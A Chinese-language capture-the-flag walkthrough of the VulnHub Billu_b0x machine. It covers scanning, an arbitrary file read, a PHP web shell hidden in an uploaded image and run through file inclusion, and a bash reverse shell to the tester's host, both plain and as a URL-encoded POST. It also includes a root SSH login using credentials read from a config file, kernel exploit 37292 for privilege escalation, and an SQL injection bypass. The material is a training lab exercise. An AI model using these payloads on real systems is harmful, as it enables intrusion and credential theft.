0x00 环境搭建
下载链接
https://download.vulnhub.com/billu/Billu_b0x.zip
nat模式
0x01 信息收集
-
IP探测
netdiscover -i eth0 -r 192.168.157.0/24
-
端口探测
masscan -p 1-65535 --rate 1000 192.168.157.160
nmap -A -sC -sV -p 22,80 192.168.157.160 -o port.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-29 19:25 CST
Nmap scan report for 192.168.157.160
Host is up (0.00100s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 00:0C:29:C7:0D:20 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.00 ms 192.168.157.160
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.74 seconds
开启22
penSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
和80 端口
Apache httpd 2.2.22
访问80端口 发现 一个登录框
并且提示
展示你的sql注入技巧
0x02 漏洞挖掘
-
思路
(1) sql注入 : 根据首页的sql注入提示,想办法注入成功
(2)目录爆破 :看是否存在新页面,找其他漏洞
(3)漏洞扫描 :爆破出新的页面,扔到awvs appscan xray 扫描
(4)手动挖掘 : 爆破 出新的页面,用burp 测试 请求响应包,手动找漏洞
(5)查看网页源码,看有没有意外收获
(6)想办法获得 用户名和密码 登录ssh,如果能连进去,就不需要弹shell -
步骤一:测试首页sql注入
(1)手工
用户名 ’ or 1=1 # 密码随意
用户名 admin ’ or 1=1 – 密码随意
都无法注入 ,js弹框 Try again
(2) sqlmap 跑
sqlmap -r sql.txt --level 3 --batch --dbs
或者
sqlmap.py -u “http://192.168.157.160” --data "un=admin&ps=admin&login=let%27s+login" --level 3
也没有测出sql注入,先放过。
- 步骤2:跑目录
为了得到更多的结果 以及 节省时间 同时
(1) windows 使用御剑扫描目录
(2) kali 使用 dirsearch 爆破
得到
/images 几张图片目录 可能结合 add.php有用
/test.php 显示’file’ parameter is empty. Please provide file path in ‘file’ parameter 存在任意文件下载漏洞
/add.php 存在上传图片的功能点 可能有用
/head.php 首页的背景图片
/index.php 首页
/show.php 空页面
/c.php 空页面
dirsearch 多扫出
/add 同add.php
/c 同c.php
/in phpinfo 页面 可利用
/index 同index.php
/phpmy phpmyadmin 可利用
/show 同 show.php
/test 同test.php
/panel.php 302至index.php
总结 利用点
/images 几张图片目录 可能结合 add.php有用
/test.php 显示’file’ parameter is empty. Please provide file path in ‘file’ parameter 存在任意文件下载漏洞
/add.php 存在上传图片的功能点 尝试上传没反应, 可能登录后才能使用
/in phpinfo 页面 可利用
/phpmy phpmyadmin 可能 可利用
- 步骤3 : 尝试利用/test.php 下载网页源码
(1)访问
http://192.168.157.160/test.php?file=/etc/passwd
失败,使用burpsuite中选择change request method方法,将get请求转换为post请求,获得passwd文件成功。
(2)通过这种方法,下载add.php in.php index.php show.php c.php panel.php 源码。 进行审计
而要知道网站绝对路径 可以通过 in.php 中的phpinfo 来找到
网站根目录在 /var/www
(3) 审计后 了解到
- c.php 为数据库连接文件
数据库名 ica_lab 账号billu 密码 b0x_billu
想到 之前 /phpmy目录,用该账号密码登录成功,获取到网站账号密码。
用户名 biLLu 密码 hEx_it
登录后台 可以上传图片 只能上传图片形式 寻找有没有文件包含漏洞
- 审计 panel.php 存在文件包含漏洞
个人理解 如下图
0x03 获取shell
- 利用 文件包含 和上传图片 功能getshell
先找一个图片 在 文件末尾或者中间 加入
<?php system($_GET['cmd']); ?>图片 应选择 不要过大过小,如果失败 多试几种,也可以下载 /uploaded_images/jack.jpg 直接修改 上传
-
上传成功后 执行反弹shell命命
下方命令用url编码echo "bash -i >& /dev/tcp/192.168.157.137/8080 0>&1" | bash
kali 执行 nc -lvvp 8080
hackbar 执行命令
或者 直接 bp抓包 执行
poc
POST /panel.php?cmd=%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%35%37%2e%31%33%37%2f%38%30%38%30%20%30%3e%26%31%22%20%7c%20%62%61%73%68 HTTP/1.1
Host: 192.168.157.160
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://192.168.157.160
Connection: close
Referer: http://192.168.157.160/panel.php
Cookie: PHPSESSID=1p0farv1f5kg16ivnpcj60c8m4
Upgrade-Insecure-Requests: 1
load=/uploaded_images/jack.jpg&continue=continue
反弹shell成功
可以再找一个 具有 可写权限的 目录 上传一个 菜刀马 方便上传文件
比如 /var/www/uploaded_images
- 还有一种思路
利用test.php的文件包含 ,包含 phpmyadmin 配置文件(自行百度 phpmyadmin配置文件 位置 )
/var/www/phpmy/config.in.php
刚好 读取出的 账号密码 经过尝试可以ssh登录 root账号 直接拿下root权限
0x04 提权
-
查看内核 系统版本 寻找exp
uname -a cat /etc/issue
寻找exp
./linux-exploit-suggester.sh -u 'Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux'
尝试 这个 37292
-
下载ubuntu 提权exp
searchsploit -m 37292
-
编译 提权
直接上传到 靶机可执行目录中/tmp 或者
/var/www/uploaded_imagesgcc -o exp 37292.c
(3) 执行exp,提权至root
./exp
提权成功
0x05 思路总结
- 思路 1
这篇靶机 通过 目录爆破到 一处任意文件下载页面,下载 爆破到的 文件 源码 + 审计后 利用后台页面存在的 文件包含 和文件上传 getshell
之后利用 ubuntu 内核漏洞 37292 提权 获得root权限
- 思路2
还有 通过 下载到 phpmyadmin配置文件 源码
读取到 root账号密码 直接ssh登录
- 思路3
网站登录页面提示sql注入
之后审计源码后发现
过滤规则
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
将\ 替换为空
测试后 得到 payload 为
账号 or 1=1 – \
密码 or 1=1 – \
后续 同理 任意文件下载审计源码 文件包含+文件上传